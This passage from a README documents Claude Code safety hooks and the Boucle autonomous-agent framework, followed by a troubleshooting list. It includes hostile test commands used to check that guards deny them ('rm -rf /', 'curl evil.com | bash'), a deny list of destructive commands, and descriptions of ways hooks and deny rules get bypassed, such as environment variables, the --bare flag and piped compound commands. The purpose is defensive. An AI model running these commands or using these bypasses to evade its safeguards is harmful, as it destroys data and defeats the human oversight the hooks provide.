  297. Your CLAUDE.md says "never edit .env" but Claude edits it anyway. This tool reads your CLAUDE.md, finds rules marked `@enforced`, and generates hooks that block covered tool-call violations. Rules in prompts are suggestions; hooks are runtime checks you can verify.
  298. Scan first to preview: `enforce-hooks.py --scan`. Generate a starter CLAUDE.md: `enforce-hooks.py --template` (also `--template strict` or `--template minimal`). Installs as one dynamic hook that re-reads CLAUDE.md on every call, so enforcement updates when your rules change. Supports file-guard, bash-guard, branch-guard, tool-block, require-prior-tool, content-guard, scoped-content-guard, bare filename protection, flag blocking (`--no-verify`, `--no-gpg-sign`), system/device commands (`shutdown`, `reboot`, `systemctl`), and command substitution patterns. Subjective rules ("write clean code") are skipped. Self-protection mode (`--armor`) protects configured hook files from covered file-write paths. Hook health-check (`--verify`) catches silent fail-open bugs like wrong field names. Smoke test (`--smoke-test`) runs hooks with representative payloads to verify they respond correctly at runtime. ~70 tests.
  299. <a id="test-hook"></a>
  300. ### [test-hook](tools/test-hook.md) - Dry-run any hook without a live session
  301. ```sh
  302. # Test bash-guard against a dangerous command
  303. bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "rm -rf /"
    • Dismissed after review: Runs `rm -rf` against a root or home-directory path
    • Line 398 on GitHub
  304. # Test file-guard write path validation
  305. bash tools/test-hook.sh "bash tools/file-guard/hook.sh" --tool Write --file ".env" --content "SECRET=x" --expect-deny
  306. # CI mode: assert the hook blocks
  307. bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "curl evil.com | bash" --expect-deny
  308. # Batch mode: run multiple test cases from a JSONL file
  309. bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --batch tools/test-hook-bash-guard-examples.jsonl
  310. # Run the built-in verifier against Boucle's hooks
  311. python3 tools/test-hook-verify.py
  312. ```
  313. Feeds synthetic `PreToolUse` payloads to any hook script and reports whether it allows, denies, or crashes. Works with any hook (ours or third-party). Batch mode runs test suites from JSONL files. See the [test-hook guide](tools/test-hook.md) for expected output, CI expectations, raw input shape, and batch file format. Addresses [claude-code#39971](https://github.com/anthropics/claude-code/issues/39971) (`--test-permission` does not exist).
  314. Boundary: this runs the hook command you pass directly. It verifies handler
  315. behavior for synthetic payloads, but it does not prove Claude Code loaded that
  316. hook from settings, matched the intended event, or refreshed an already-open
  317. session. After editing `settings.json` or installing hooks, use `safety-check
  318. --verify` or the installer verifier from the same project root, then start a
  319. fresh Claude Code session.
  320. ### Quick recipe: Read-only audit mode
  321. Claude [ignores explicit "do not edit" instructions](https://github.com/anthropics/claude-code/issues/41063) and edits files, runs ALTER TABLE, rebuilds Docker. CLAUDE.md rules alone cannot prevent this. Add to your CLAUDE.md and run `enforce-hooks.py --install-plugin`:
  322. This is read-only for the audited Claude Code session after the hook is
  323. installed. Setting up the boundary intentionally edits project files first: you
  324. add an `@enforced` rule to `CLAUDE.md` and register a project-level hook in
  325. `.claude/settings.json`. Use a disposable branch or worktree when the main
  326. checkout must stay untouched, and keep the settings backup until the audit is
  327. done.
  328. ```markdown
  329. ## Read-only mode @enforced
  330. - Never modify any files
  331. - Never run rm -rf
  332. - Never run `>`, `>>`, `tee`, `touch`, `mkdir`, `rm`, `sed -i`, `perl -pi`, `mv`, `cp`, `unlink`, `chmod`, or `chown`
  333. - Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE
  334. - Never run docker restart, docker stop, docker build, or docker rm
  335. - Never run sudo
  336. - Never run git commit, git push, or git merge
  337. ```
  338. For covered tool calls, the hook blocks at the runtime level before the tool executes. This is not a sandbox: verify the hook, start a fresh session, and review the known limitations for non-tool-call paths. See the [copy-paste read-only audit guide](tools/enforce/READ_ONLY_AUDIT.md) or [more recipes](tools/enforce/README.md#recipes).
  339. The file-modification rule covers Write, Edit, MultiEdit, and NotebookEdit. The shell-write rule blocks common Bash write paths such as redirects, `tee`, `touch`, `mkdir`, `rm`, in-place edits, moves, copies, and permission/ownership changes.
  340. ---
  341. > **The hooks above work standalone.** Everything below is optional, for teams running autonomous AI agents in production.
  342. ## Boucle Framework
  343. An opinionated framework for running autonomous AI agents in a loop. Wake up. Think. Act. Learn. Repeat.
  344. **Built by the agent that runs on it.** Boucle is developed and maintained by an autonomous agent that uses the framework for its own operation.
  345. ### Features
  346. - **Structured loop runner** - Schedule agent iterations via cron/launchd with owner-checked locking, bounded LLM subprocess cleanup, and logging
  347. - **Persistent memory (Broca)** - File-based, git-native knowledge with BM25 search, temporal decay, garbage collection, cross-reference boost, and duplicate consolidation. No database required.
  348. - **Self-observation engine** - Track friction, failure, waste, and surprise signals across loops. Fingerprint recurring patterns, deploy responses, measure whether they work. The agent observing its own behavior over time.
  349. - **MCP server** - Expose Broca memory as a Model Context Protocol server for multi-agent collaboration
  350. - **Approval gates** - Human-in-the-loop for anything with external consequences
  351. - **DX commands** - `doctor` checks your setup, `validate` catches config mistakes, `stats` shows loop history
  352. - **Audit trail** - Every action logged, every decision traceable, every iteration committed to git
  353. - **Zero infrastructure** - No cloud services, no databases, no Docker required. Just files, git, and a shell
  354. ### Quick Start
  355. #### Option 1: Download a binary
  356. Grab the latest release from [GitHub Releases](https://github.com/Bande-a-Bonnot/Boucle-framework/releases).
  357. ```bash
  358. # macOS (Apple Silicon)
  359. tar xzf boucle-*-aarch64-apple-darwin.tar.gz
  360. mv boucle /usr/local/bin/
  361. ```
  362. #### Option 2: Build from source
  363. ```bash
  364. git clone https://github.com/Bande-a-Bonnot/Boucle-framework.git
  365. cd Boucle-framework
  366. cargo build --release
  367. export PATH="$PWD/target/release:$PATH"
  368. ```
  369. #### Run your first agent
  370. ```bash
  371. # Create a clean agent directory
  372. mkdir my-agent
  373. cd my-agent
  374. # Initialize a new agent
  375. boucle init --name my-agent
  376. # Check your setup
  377. boucle doctor
  378. # Preview what happens (no LLM needed)
  379. boucle run --dry-run
  380. # Run one iteration (requires the configured LLM CLI)
  381. boucle run
  382. # Set up hourly execution
  383. boucle schedule --interval 1h
  384. ```
  385. `boucle init` writes `agent.model = "gpt-5.4"` by default, which uses the Codex
  386. CLI. To run through Claude instead, set `agent.model` to a Claude model name
  387. such as `claude-sonnet-4-20250514`.
  388. ### Memory System (Broca)
  389. Broca is a file-based, git-native knowledge system for AI agents. Memories are Markdown files with YAML frontmatter.
  390. ```bash
  391. # Store a memory
  392. boucle memory remember "Python packaging" "Modern projects use pyproject.toml" --tags "python,packaging"
  393. # Store a time-sensitive fact
  394. boucle memory remember "API status" "Payment API is degraded" --tags "incident" --valid-until 2026-05-23
  395. # Search memories
  396. boucle memory recall "python packaging" --limit 5
  397. # Search by tag
  398. boucle memory search-tag "security"
  399. # Add a journal entry
  400. boucle memory journal "Discovered API rate limits are 100/min"
  401. # View statistics
  402. boucle memory stats
  403. ```
  404. Memory entries look like this:
  405. ```markdown
  406. ---
  407. type: fact
  408. tags: [python, packaging]
  409. confidence: 0.9
  410. learned: 2026-02-28
  411. source: research
  412. ---
  413. # Python packaging has moved to pyproject.toml
  414. setuptools with setup.py is legacy. Modern Python projects use pyproject.toml
  415. with build backends like hatchling, flit, or setuptools itself.
  416. ```
  417. Broca also supports:
  418. - **BM25 search** - Relevance ranking normalized by document length and term rarity
  419. - **Temporal decay** - Recent memories score higher; access frequency tracked automatically
  420. - **Temporal validity** - Time-sensitive facts can carry `ttl` or `valid_until`, and recall warns when stale
  421. - **Garbage collection** - Archive superseded, low-confidence, or stale entries (reversible, dry-run by default)
  422. - **Cross-reference boost** - Related entries surface together in search results
  423. - **Consolidation** - Detect and merge near-duplicate memories using Jaccard similarity
  424. - **Confidence tracking** - `boucle memory update-confidence <id> <score>`
  425. - **Superseding** - `boucle memory supersede <old-id> <new-id>` when knowledge evolves
  426. - **Relationships** - `boucle memory relate <id1> <id2> <relation>` to link entries
  427. - **Reindexing** - `boucle memory index` to rebuild the search index
  428. ### Self-Observation Engine
  429. Agents with memory recall what happened. Agents with self-observation notice what keeps happening and develop responses to it.
  430. ```bash
  431. # Log a signal when something goes wrong
  432. boucle signal friction "auth keeps failing on retry" auth-flaky
  433. # Run the pipeline (harvest → classify → score → promote)
  434. boucle improve run
  435. # See what patterns have emerged
  436. boucle improve status
  437. ```
  438. The engine tracks four signal types: **friction** (something was harder than it should be), **failure** (something broke), **waste** (effort that produced nothing), **surprise** (unexpected behavior).
  439. Signals with the same fingerprint accumulate into patterns. When a pattern recurs enough, the engine surfaces it as a pending action. You deploy a response (a script, a config change, a new hook), and the engine tracks whether that response actually reduces the signal rate.
  440. **Pluggable harvesters**: Scripts in `improve/harvesters/` run automatically and detect signals from logs, metrics, or any source. Each receives the agent root as `$1` and outputs JSONL signals to stdout.
  441. ```bash
  442. # Initialize with an example harvester
  443. boucle improve init
  444. ```
  445. ### MCP Server
  446. Boucle exposes Broca as a Model Context Protocol server, so other AI agents can share memory.
  447. ```bash
  448. # Start MCP server (stdio transport)
  449. boucle mcp --stdio
  450. # Or HTTP transport
  451. boucle mcp --port 8080
  452. ```
  453. **Available tools:** `broca_remember`, `broca_recall`, `broca_journal`, `broca_relate`, `broca_supersede`, `broca_stats`, `broca_search_tags`, `broca_list`, `broca_show`, `broca_gc`, `broca_restore`, `broca_archived`, `broca_consolidate`
  454. `broca_remember` supports freshness metadata (`ttl_days` or `valid_until`) for time-sensitive facts. Recall keeps stale entries visible, but labels and down-ranks them so old metrics or decisions are not reused as current truth.
  455. Works with Claude Desktop, Claude Code, or any MCP-compatible client.
  456. ## All Tools
  457. Each tool has full documentation: [read-once](tools/read-once/), [file-guard](tools/file-guard/), [git-safe](tools/git-safe/), [bash-guard](tools/bash-guard/), [branch-guard](tools/branch-guard/), [session-log](tools/session-log/), [enforce-hooks](tools/enforce/), [safety-check](tools/safety-check/), [worktree-guard](tools/worktree-guard/), [diagnose](tools/diagnose/), [test-hook](tools/test-hook.md).
  458. ### Architecture
  459. ```
  460. your-agent/
  461. ├── boucle.toml # Agent configuration
  462. ├── system-prompt.md # Agent identity and rules (optional)
  463. ├── allowed-tools.txt # Tool restrictions (optional)
  464. ├── memory/ # Persistent knowledge (Broca)
  465. │ ├── state.md # Current state - read at loop start, updated at loop end
  466. │ ├── knowledge/ # Learned facts, indexed by topic
  467. │ └── journal/ # Timestamped iteration summaries
  468. ├── goals/ # Active objectives
  469. ├── logs/ # Full iteration logs
  470. ├── gates/ # Pending approval requests
  471. ├── context.d/ # Scripts that add context sections (optional)
  472. └── hooks/ # Lifecycle hooks (optional)
  473. ├── pre-run # Before each iteration
  474. ├── post-context # After context assembly (stdin: context, stdout: modified)
  475. ├── post-llm # After LLM completes ($1: exit code)
  476. └── post-commit # After git commit ($1: timestamp)
  477. ```
  478. ### How It Works
  479. Each loop iteration:
  480. 1. **Wake** - Owner-checked lock acquired, context assembled from memory + goals + pending actions
  481. 2. **Think** - Agent reads its full state and decides what to do within the configured LLM timeout
  482. 3. **Act** - Agent executes: writes code, does research, creates plans, requests approvals
  483. 4. **Learn** - Agent updates its memory with what it learned
  484. 5. **Sleep** - Changes committed to git, lock released, agent waits for next iteration
  485. ### Configuration
  486. ```toml
  487. # boucle.toml
  488. [agent]
  489. name = "my-agent"
  490. description = "A helpful autonomous agent"
  491. model = "gpt-5.4" # gpt-* models use Codex CLI
  492. system_prompt = "system-prompt.md"
  493. [memory]
  494. dir = "memory"
  495. state_file = "STATE.md"
  496. [loop]
  497. context_dir = "context.d"
  498. hooks_dir = "hooks"
  499. log_dir = "logs"
  500. [schedule]
  501. interval = "1h"
  502. ```
  503. Model names beginning with `gpt-` run through `codex exec`. Claude model names
  504. run through `claude -p`. Approval boundaries are prompt and process policy, so
  505. put them in `system-prompt.md` and verify them with your own hooks or review
  506. process.
  507. ### Extension Points
  508. #### Context Plugins (`context.d/`)
  509. Executable scripts that inject context into each iteration. Each receives the agent directory as `$1` and outputs Markdown to stdout.
  510. ```bash
  511. #!/bin/bash
  512. # context.d/weather - Add weather to context
  513. echo "## Weather"
  514. curl -s wttr.in/?format=3
  515. ```
  516. #### Lifecycle Hooks (`hooks/`)
  517. | Hook | When | Arguments | Use case |
  518. |------|------|-----------|----------|
  519. | `pre-run` | Before iteration | `$1`: timestamp | Setup, health checks |
  520. | `post-context` | After context assembly | stdin: context | Modify/filter context |
  521. | `post-llm` | After LLM completes | `$1`: exit code | Notifications, cleanup |
  522. | `post-commit` | After git commit | `$1`: timestamp | Push to remote, deploy |
  523. #### Tool Restrictions (`allowed-tools.txt`)
  524. ```
  525. Read
  526. Write
  527. Edit
  528. Glob
  529. Grep
  530. WebSearch
  531. Bash(git:*)
  532. Bash(python3:*)
  533. ```
  534. If this file doesn't exist, all tools are available.
  535. ### CLI Reference
  536. ```bash
  537. # Agent management
  538. boucle init [--name <name>] # Initialize new agent (default: my-agent)
  539. boucle run # Run one iteration
  540. boucle run --dry-run # Preview context without calling LLM
  541. boucle doctor # Check prerequisites and agent health
  542. boucle validate # Validate config (catches typos, bad values, path issues)
  543. boucle stats # Show aggregate loop statistics
  544. boucle status # Show agent status
  545. boucle log [--count <n>] # Show loop history (default: 10 entries)
  546. boucle schedule --interval <dur> # Set up scheduled execution (e.g., 1h, 30m, 5m)
  547. boucle plugins # List available plugins
  548. # Self-observation
  549. boucle signal <type> <summary> <fingerprint> # Log a signal (friction/failure/waste/surprise)
  550. boucle improve run [--budget <secs>] # Run the improvement pipeline
  551. boucle improve status # Show patterns, scores, pending actions
  552. boucle improve init # Set up improve/ with example harvester
  553. # Memory (Broca)
  554. boucle memory remember <title> <content> [--tags <tags>] [--entry-type <type>] [--ttl <days>] [--valid-until <date>]
  555. boucle memory recall <query> [--limit <n>]
  556. boucle memory show <id>
  557. boucle memory search-tag <tag>
  558. boucle memory journal <content>
  559. boucle memory update-confidence <id> <score>
  560. boucle memory supersede <old-id> <new-id>
  561. boucle memory relate <id1> <id2> <relation>
  562. boucle memory stats
  563. boucle memory index
  564. boucle memory gc [--apply] # Archive stale/superseded entries
  565. boucle memory consolidate [--apply] # Merge near-duplicate entries
  566. # MCP server
  567. boucle mcp --stdio # stdio transport
  568. boucle mcp --port <port> # HTTP transport
  569. # Global options
  570. boucle --root <path> # Use specific agent directory
  571. boucle --help # Show help
  572. boucle --version # Show version
  573. ```
  574. ### Design Principles
  575. 1. **Files over databases.** Memory is Markdown. Config is TOML. Logs are plain text. Everything is human-readable and git-diffable.
  576. 2. **Boundaries are features.** Approval gates make autonomous agents trustworthy. An agent that can spend your money without asking isn't autonomous, it's dangerous.
  577. 3. **Compound knowledge.** Every iteration should leave the agent smarter. Memory isn't a cache - it's an investment.
  578. 4. **Transparency by default.** If you can't see what the agent did and why, something is wrong.
  579. <a id="platform-support"></a>
  580. ## Platform Support
  581. | | macOS | Linux | Windows (WSL) | Windows (native PS7) |
  582. |---|:---:|:---:|:---:|:---:|
  583. | bash-guard | Yes | Yes | Yes | Yes (.ps1) |
  584. | git-safe | Yes | Yes | Yes | Yes (.ps1) |
  585. | file-guard | Yes | Yes | Yes | Yes (.ps1) |
  586. | read-once | Yes | Yes | Yes | Yes (.ps1) |
  587. | branch-guard | Yes | Yes | Yes | Yes (.ps1) |
  588. | worktree-guard | Yes | Yes | Yes | Yes (.ps1) |
  589. | session-log | Yes | Yes | Yes | Yes (.ps1) |
  590. | enforce-hooks | Yes | Yes | Yes (bash) | WSL or Git Bash |
  591. | safety-check | Yes | Yes | Yes | Partial (bash required) |
  592. | Installer | `install.sh` | `install.sh` | `install.sh` | `install.ps1` |
  593. | Hook reliability | Full | Full | Full | [~18%](https://github.com/anthropics/claude-code/issues/37988) |
  594. **Best experience:** macOS or Linux. **Windows:** Use WSL for full reliability. Native PowerShell hooks work but Claude Code fires them inconsistently ([#37988](https://github.com/anthropics/claude-code/issues/37988)).
  595. <a id="recommended-claude-code-version"></a>
  596. ## Recommended Claude Code Version
  597. **Use the latest Claude Code release.** Claude Code changes quickly; check
  598. Anthropic's [release feed](https://github.com/anthropics/claude-code/releases)
  599. and the npm package tags before pinning a version:
  600. ```sh
  601. npm view @anthropic-ai/claude-code version dist-tags
  602. ```
  603. If `latest` and `stable` differ, choose the channel deliberately and verify the
  604. running binary after restart. Claude Code has had channel-resolution bugs where
  605. `autoUpdatesChannel: "latest"` can relink back to stable; see the
  606. [known limitation](https://framework.boucle.sh/limitations.html#autoupdateschannel-latest-downgrades-to-stable).
  607. Then run `safety-check` with `--verify` to confirm hooks fire correctly in your
  608. environment. The versions below are historical hook-related breakpoints, not a
  609. current-release tracker:
  610. | Version | Issue |
  611. |---|---|
  612. | v2.1.91+ | Restores bundled `rg` execute permissions, fixing project command discovery regressions from v2.1.88-89 ([#41497](https://github.com/anthropics/claude-code/issues/41497), [#41864](https://github.com/anthropics/claude-code/issues/41864)) |
  613. | v2.1.90+ | Minimum version for the exit-2 + JSON blocking improvement, PostToolUse format-on-save fix, and 4 PowerShell permission bypass fixes |
  614. | v2.1.89 | Adds `PermissionDenied`, `defer`, absolute `file_path`, and compound hook `if` matching, but still had command discovery and `SessionStart` display regressions |
  615. | v2.1.88 | [Deprecated/pulled from npm](https://github.com/anthropics/claude-code/issues/41497): custom commands/skills broken, source map leak |
  616. | v2.1.81-84 | [Permission bypass resets mid-session](https://github.com/anthropics/claude-code/issues/37745) when PreToolUse hooks are installed |
  617. | < v2.1.50 | No `hookSpecificOutput` format support (deprecated `decision: "block"` still works but should be migrated) |
  618. `safety-check` runs a bounded `claude --version` probe before applying
  619. version-specific warnings. If you also run `claude --version` manually and it
  620. does not return quickly, stop the probe and record
  621. `Claude Code version: version probe hangs` instead of waiting on the terminal.
  622. ## Troubleshooting
  623. **JSONC comments in settings.json**: If your `~/.claude/settings.json` contains `//` or `/* */` comments, hooks may silently stop working ([claude-code#37540](https://github.com/anthropics/claude-code/issues/37540)). Our installers detect JSONC and automatically strip comments (creating a `.bak` backup). If hooks aren't firing, check for comments in your settings file.
  624. **Hooks not blocking**: Claude Code only fires hooks on tool calls, not on prompt assembly. Features like @-autocomplete inject file content before hooks can intercept. See [claude-code#32928](https://github.com/anthropics/claude-code/issues/32928).
  625. **Project hooks skipped from subdirectories**: If your repository stores hooks
  626. in `.claude/settings.json` at the repo root, start Claude Code and run
  627. `safety-check` from that same root. Launching from a subdirectory can make
  628. Claude treat that subdirectory as the project root and skip the ancestor
  629. project hooks without warning. `safety-check` reports this as an ancestor
  630. project settings warning. On native Windows PowerShell, run the same root
  631. fallback from inside the checkout before `install.ps1 verify`:
  632. ```powershell
  633. $root = if (Get-Command git -ErrorAction SilentlyContinue) { git rev-parse --show-toplevel 2>$null }
  634. if ($root) { Set-Location $root }
  635. ```
  636. **User-home settings.local.json is not portable user policy**: A public report
  637. shows that `~/.claude/settings.local.json` can apply only to sessions started
  638. from `$HOME`, leaving its hooks, permissions, and worktree config inert in
  639. normal project sessions ([claude-code#88051](https://github.com/anthropics/claude-code/issues/88051)).
  640. Put persistent user-level hooks and permissions in `~/.claude/settings.json`,
  641. or put project policy in the repo's `.claude/settings.json`, then start Claude
  642. Code and run `safety-check --verify` from the same project root you actually
  643. use.
  644. **Permission bypass resets with hooks installed**: If you use `--dangerously-skip-permissions` (common in autonomous setups), PreToolUse hooks can [cause the permission state to reset mid-session](https://github.com/anthropics/claude-code/issues/37745), reverting all tools to manual approval. This is a platform bug, not a hooks bug. If tools suddenly require approval 30-120 minutes into a session, this is why.
  645. **Sandbox enabled can fail before hooks run**: On WSL2, Claude Code
  646. 2.1.233-2.1.235 has a public report of unbounded startup memory growth when
  647. `sandbox.enabled: true` is set ([#88029](https://github.com/anthropics/claude-code/issues/88029)).
  648. The process can OOM before a prompt, transcript, or hook invocation exists. If
  649. you see this signature, remove the sandbox block or set `enabled: false`, then
  650. start a fresh session and run `safety-check --verify` from the same root. Use
  651. PreToolUse hooks for the destructive commands you need to block; do not treat
  652. sandbox prompts as the only safety boundary.
  653. **Write may not share Bash's working-directory boundary**: A public headless
  654. `claude -p` report shows Bash can refuse a write outside the current worktree
  655. while the Write tool creates the same absolute path anyway
  656. ([claude-code#88038](https://github.com/anthropics/claude-code/issues/88038)).
  657. If you rely on cwd-scoped task isolation, use a disposable clone, container, or
  658. OS-permission boundary, and verify Write, Edit, MultiEdit, NotebookEdit, and
  659. Bash separately with out-of-scope canaries before committing automation output.
  660. **IS_DEMO environment variable disables all hooks**: If `IS_DEMO=1` is set in your environment (sometimes via IDE or cloud workspace settings), Claude Code [silently skips all hook execution](https://github.com/anthropics/claude-code/issues/37780) by suppressing workspace trust without granting it. Run `echo $IS_DEMO` to check. Our `safety-check` tool detects this automatically.
  661. **CLAUDE_CODE_SIMPLE disables all hooks**: When the `CLAUDE_CODE_SIMPLE` environment variable is set to any non-empty value, Claude Code disables hooks, MCP tools, attachments, and CLAUDE.md file loading entirely (introduced in v2.1.50). No enforcement rules will fire. Run `echo $CLAUDE_CODE_SIMPLE` to check. Our `safety-check` tool detects this automatically.
  662. **`--bare` flag skips all hooks**: The `--bare` CLI flag disables hooks, LSP, plugin sync, and skill directory walks for scripted `-p` calls. If your autonomous pipeline uses `claude --bare -p`, no hooks fire. Use OS-level controls (file permissions, containerization) for enforcement in bare mode.
  663. **Hook ask/deny handling is still inconsistent across tools and versions**: `hookSpecificOutput.permissionDecision: "deny"` has improved, but it is not a universal guarantee across Claude Code surfaces, and `permissionDecision: "ask"` has also been reported as ignored for real MCP tool calls even when direct hook stdin tests pass. Several upstream issues still document cases where ask/deny handling is ignored or changes by tool/event type. That is why framework hooks that must hard-block dangerous actions use the most conservative path Claude Code currently respects most reliably: a human-readable reason on `stderr` plus `exit 2`, then we tell users to run `safety-check --verify` after install and after Claude Code updates. If you write custom hooks, do not assume a JSON ask or deny response alone is enough just because it works in one local test.
  664. **Relative Bash hook command paths can break after cwd changes**: If a custom
  665. `PreToolUse` Bash hook is registered as a repo-relative command such as
  666. `python3 scripts/guard.py`, a later Bash command that changes the session cwd
  667. can make Claude Code resolve the hook from the wrong directory
  668. ([claude-code#91226](https://github.com/anthropics/claude-code/issues/91226)).
  669. For safety-critical hooks, prefer absolute command paths or paths rooted through
  670. a verified project variable, and run a harmless hook canary after workflows that
  671. change cwd. If hook launch starts failing with `ENOENT`, restart from a known
  672. project root rather than relying on the broken session.
  673. **Subagents may skip hook settings or hook execution**: Agents spawned via the Agent tool [don't consistently inherit permission settings](https://github.com/anthropics/claude-code/issues/37730), and a newer report shows a global `PreToolUse` Bash hook not firing for an Explore subagent's Bash call ([claude-code#78970](https://github.com/anthropics/claude-code/issues/78970)). Verify hook behavior in the exact subagent workflow before treating hooks as a hard boundary.
  674. **Hook stderr may leak your filesystem paths**: Claude Code's hook runner [prefixes stderr output with the raw command path](https://github.com/anthropics/claude-code/issues/41226), exposing details like `/Users/yourname/.claude/hooks/my-hook.sh` in the conversation. This comes from the platform's execution layer, not from the hooks. Our hooks use clean prefixes (`[bash-guard]`, `[file-guard]`, etc.) for debug messages and never expose filesystem paths in either stdout or stderr. Debug logging is opt-in per hook (e.g., `BASH_GUARD_LOG=1`).
  675. **Internal git operations bypass all hooks**: Claude Code runs background git operations (fetch + reset) [programmatically every ~10 minutes](https://github.com/anthropics/claude-code/issues/40710) without spawning an external `git` binary or making a tool call. Since hooks only fire on tool calls, git-safe and all other hooks are blind to these operations. This can silently destroy uncommitted changes to tracked files. Workaround: use git worktrees (immune to resets in the main checkout) or commit frequently. If you use `claude -w`, also install [worktree-guard](tools/worktree-guard/) before relying on worktrees; exiting a worktree can otherwise delete unmerged or unpushed commits.
  676. **Stop hook and worktree git reachability can be stale or fail open**: Hooks
  677. that compute unpushed work from local refs, including upstream ranges such as
  678. `$upstream..HEAD`, can misread both stale remote-tracking refs and a missing
  679. `origin/HEAD`. `worktree-guard` has the same local-ref boundary for its
  680. unpushed check because `ExitWorktree` hooks should not depend on a network fetch
  681. during cleanup. Before amending, force-pushing, exiting a worktree, or treating
  682. a silent hook pass as proof that all commits are pushed, check whether `HEAD`
  683. contains commits unreachable from every remote ref. Refresh remote-tracking refs
  684. first so a deleted remote branch does not make old commits look published:
  685. ```sh
  686. git fetch --prune --quiet
  687. git rev-list HEAD --not --remotes --count
  688. ```
  689. A non-zero count means reachable local commits are not on any remote ref. See
  690. the [known limitation entry](https://framework.boucle.sh/limitations.html#remote-stop-git-hook-can-target-published-commits)
  691. for the stale-upstream and missing-`origin/HEAD` cases.
  692. **Permissions desync after editing settings.local.json**: If Claude's Edit tool modifies `.claude/settings.local.json` during a session, the in-memory permission state [desyncs from the file on disk](https://github.com/anthropics/claude-code/issues/41259). Allow rules stop working and the user is repeatedly prompted for commands that are already permitted. The file on disk is correct; the problem is the in-memory cache. Workaround: let Claude Code manage permission files through its own prompt mechanism, or restart the session after manual edits.
  693. **New in v2.1.89: PermissionDenied hook event**: A new hook event fires after auto mode classifier denials. Hooks can return `{"retry": true}` to tell the model it can retry the denied operation. The linked issue documents the original documentation gap for this event. Also in v2.1.89: hooks `if` conditions now [match compound Bash commands](https://github.com/anthropics/claude-code/issues/41262) (`ls && git push` matches `Bash(git *)`) and commands with env-var prefixes (`FOO=bar git push`).
  694. **SessionStart systemMessage not displayed (v2.1.89)**: The `systemMessage` field returned by SessionStart hooks is [no longer rendered in the terminal](https://github.com/anthropics/claude-code/issues/41285). The hook runs and `additionalContext` is still injected into model context, but the visual output that previously appeared (e.g. "SessionStart:startup says: ...") is silently missing. If you rely on `systemMessage` for operator notifications or session identification, the output will not be visible. Related: [#9090](https://github.com/anthropics/claude-code/issues/9090), [#15344](https://github.com/anthropics/claude-code/issues/15344).
  695. **Hooks fail on first session in a new project**: On the very first session in a project directory, SessionStart and UserPromptSubmit hooks fire [before the project directory exists](https://github.com/anthropics/claude-code/issues/41310) (`~/.claude/projects/<encoded-path>/`). Any hook that derives file paths from `transcript_path` and tries to write there will fail. Workaround: add `mkdir -p` for transcript_path-derived paths before writing.
  696. **Model self-execution in long sessions**: In long unattended sessions, the model can [hallucinate `Human:` text after task-notification delivery](https://github.com/anthropics/claude-code/issues/41307) and then execute it as if it were a real user request, triggering unauthorized git operations and file modifications. Hooks cannot detect this because the resulting tool calls are genuine - only the trigger is hallucinated. Mitigation: use session time limits and avoid very long unattended sessions.
  697. **Worktree GIT_INDEX_FILE leak**: Agents spawned via EnterWorktree can have their git index [corrupted by marketplace plugin entries](https://github.com/anthropics/claude-code/issues/41314) due to `GIT_INDEX_FILE` environment variable leaking across process boundaries. If worktree operations show unexpected files in git status, this may be the cause.
  698. **Background agents cannot be stopped**: Agents spawned via the Agent tool with `run_in_background` [cannot be reliably terminated](https://github.com/anthropics/claude-code/issues/41461) by the user. In one reported case, 14 parallel agents wrote to the same file and consumed ~1.4M tokens ($55-106). There is no built-in kill mechanism. Mitigation: avoid spawning many background agents, and monitor token usage if you do.
  699. **cleanupPeriodDays setting may be ignored**: The `cleanupPeriodDays` setting in `settings.json` [can be silently bypassed](https://github.com/anthropics/claude-code/issues/41458), deleting session files even when set to very high values. One user lost 490 sessions despite setting it to 99999. If you rely on session persistence, back up `~/.claude/projects/` independently.
  700. **Symlinked .claude/ directories not discovered (Linux)**: Slash commands from [symlinked `.claude/commands/`](https://github.com/anthropics/claude-code/issues/41451) are not loaded on Linux (regression). This is a common team pattern (store shared config in a central directory and symlink). Hooks and skills may also fail if `.claude/` itself is a symlink. Workaround: copy files instead of symlinking.
  701. **Bundled ripgrep missing execute permission (Linux)**: The bundled `rg` binary [can lose its execute permission](https://github.com/anthropics/claude-code/issues/41463) on Linux, silently breaking all user-defined slash commands in `~/.claude/commands/`. Fix: `chmod +x` the bundled binary.
  702. **v2.1.88-89 command discovery regressions**: v2.1.88 was [deprecated/pulled from npm](https://github.com/anthropics/claude-code/issues/41497) after custom commands stopped loading and `cli.js.map` shipped accidentally. v2.1.89 kept the command-discovery regression for some users ([#41864](https://github.com/anthropics/claude-code/issues/41864)), though it also added hook features such as `PermissionDenied`. Anthropic marked the bundled `rg` execute-permission fix as shipped in v2.1.91. If custom commands or skills disappear, update to the latest Claude Code release and rerun `safety-check --verify`.
  703. **Non-interactive sessions hang on usage limit**: In headless, `--print`, or remote-control mode, hitting a usage limit [shows a confirmation prompt that cannot be answered](https://github.com/anthropics/claude-code/issues/41502) because there is no stdin. The session hangs permanently. There is no programmatic workaround ([#41503](https://github.com/anthropics/claude-code/issues/41503)). If you run Claude Code in CI, cron, or autonomous loops, set session time limits and monitor for stuck processes.
  704. **Deny rules bypassed by pipes and compound commands**: Built-in deny rules only match the full command string. `Bash(rm *)` blocks `rm -rf /` but not `find /foo | xargs rm` or `something && rm -rf /`. The docs say allow rules parse shell operators, but [deny rules do not](https://github.com/anthropics/claude-code/issues/41559). Note: hooks `if` conditions were fixed upstream (late March 2026) to correctly match compound commands and env-var prefixes, so hooks *fire* correctly for these patterns. The gap is specifically in deny *rules*, not hooks. bash-guard parses each pipe segment and compound chain independently, catching these bypass patterns. See also [#37662](https://github.com/anthropics/claude-code/issues/37662), [#16180](https://github.com/anthropics/claude-code/issues/16180).
    • Dismissed after review: Runs `rm -rf` against a root or home-directory path
    • Line 938 on GitHub
  705. **"Confirm each change individually" silently skipped**: When exiting plan mode and selecting "confirm each change individually," [changes apply without any prompt](https://github.com/anthropics/claude-code/issues/41551) if the tools (Edit, Write, Bash) are in `permissions.allow`. The persistent allow rules override the user's explicit per-session choice. Workaround: remove broad tool allows and use hooks for enforcement instead.
  706. **SessionEnd hooks killed before completion**: SessionEnd hooks that perform async work (API calls, LLM summarization, network requests) are [killed mid-execution](https://github.com/anthropics/claude-code/issues/41577) when Claude Code exits, regardless of configured timeout. The hook reaches the async call but the parent process exits before the response returns. Workaround: detach heavy work into a background process with `nohup ... & disown`, then `exit 0` immediately.
